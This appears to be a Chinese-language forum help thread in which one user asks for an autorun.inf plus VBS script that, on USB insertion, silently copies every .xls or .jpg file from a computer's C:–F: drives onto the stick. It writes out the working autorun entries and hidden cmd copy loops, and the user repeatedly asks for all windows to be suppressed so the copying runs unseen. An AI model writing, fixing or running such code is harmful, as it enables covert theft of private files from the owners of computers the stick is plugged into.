[问题求助] VBS怎样实现U盘插入电脑上自动复制电脑上的EXCEL文件？

lyzhangzj

按以下代码会出现，只复制U盘里所有XLS格式的文件，怎么修改能搜索电脑的C:,D:,E:,F:上所有XLS格式的文件。多谢。

以下是autorun.inf文件的代码：

[autorun]
open=wscript.exe CopyExcelFile.vbs
shell\open=打开(&O)
shell\open\command=wscript.exe CopyExcelFile.vbs
复制代码

以下是GetExcelFile.vbs文件的代码：

set ws=createobject("wscript.shell")
ws.run "explorer ..\"
ws.run "cmd /c md GetExcelFile",0,true
ws.run "cmd /c for /r C:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true
ws.run "cmd /c for /r D:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true
ws.run "cmd /c for /r E:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true
ws.run "cmd /c for /r F:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true
复制代码

lyzhangzj

回复 2# broly

多谢，我找找看。

lyzhangzj

高手，还是不行啊，能否再给写一个代码，多谢啦。

lyzhangzj

喔，不好意思，我是想U盘插入电脑之后，自动复制电脑C:\,D:\,E:\所有的JPG格式的文件到U盘里。多谢啦。高手。

lyzhangzj

呵呵，没有表达清楚。

lyzhangzj

版主，这个代码写起来难度大吗？多谢帮忙啊！

lyzhangzj

版主真是好人啊，多谢了，这个要在U盘上建立个文件吗？这个是后台自动运行是吧！

lyzhangzj

直接建立TXT文件，复制到U盘。

lyzhangzj

行不通啊，怎么直接复制到U盘

lyzhangzj

请教版主，怎么用不了啊，是不是我那里弄错了。复制到U盘上是什么格式的。

lyzhangzj

提示35行第7个字符有误，麻烦版主再给修改一下吧：
1、请修改插入U盘自动运行；
2、请修改复制到U盘的‘资料’文件夹根目录下；
3、请去除"复制中...请稍后..."窗口和"没有发现U盘或者U盘没有插好!"窗口。
多谢了，版主。。。

lyzhangzj

你好版主，我的意思主要是想：
1、插入U盘，打开之后自动后台运行复制程序（需添加一个autorun.inf的文件）；
2、后台自动复制去除"复制中...请稍后..."窗口和"没有发现U盘或者U盘没有插好!"窗口；
3、能把所需的JPG格式文件复制到U盘“资料”根目录下面；
4、能否可以定义一下，只复制电脑的C盘、D盘、E盘。

多谢版主的帮忙。

lyzhangzj

版主，运行的时候出现以下情况（我的U盘是I盘）

脚本：I:/AutoCopy.vbs
行  ：32
字符：7
错误：路径未找到
代码：800A004C
源  ：vbs运行时错误

还有就是U盘插入打开之后不能自动复制呢，还要重新运行AutoCopy.vbs文件。请版主帮忙解决。

lyzhangzj

喔，这样可以了，不过运行的时候还是会出现32行第7个字符，错误：没有权限。还有30行，字符：3，错误：没有权限

lyzhangzj

嗯，好的，多谢了。